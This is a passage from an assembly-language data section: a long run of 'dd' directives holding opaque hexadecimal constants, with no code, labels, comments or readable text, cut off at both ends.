95009436h dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh dd 1C781532h, 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h dd 586179F5h, 2008DBDh, 898F0C6Dh, 0FC002938h, 4F63CE5Eh dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h dd 0C8D8D707h, 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h dd 1DC2F94Ch, 0B05F07EBh dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh, 0CD3788B0h dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h dd 0C50AEEh, 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch dd 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h dd 167F425h, 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh dd 0AD6C7Ch, 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh dd 1C5DCAFAh, 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h dd 744C8EEh, 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h dd 52510F00h, 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h dd 21DFDAEh, 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh dd 32DC1F6Ah, 7FC0AD1Fh dd 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h, 29000525h dd 2402D6F8h, 0C82D66h, 505553B4h, 22579856h, 0F00FB901h dd 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh dd 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h dd 7440698h, 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh dd 25013C0h, 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h dd 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh, 15017310h dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h dd 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh dd 0D190C3h, 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h dd 387225Ah, 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h dd 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h dd 17A95AAh, 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh dd 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh dd 3E9A776h, 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h dd 6F936400h, 6D37803h, 20050055h, 2608A11Bh, 44006209h dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h dd 541A1500h, 0AC2EDC8Ah dd 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h dd 804893D8h, 875C05Dh, 141FCCD3h, 6C02CA3h, 18F7C62Dh dd 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h dd 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 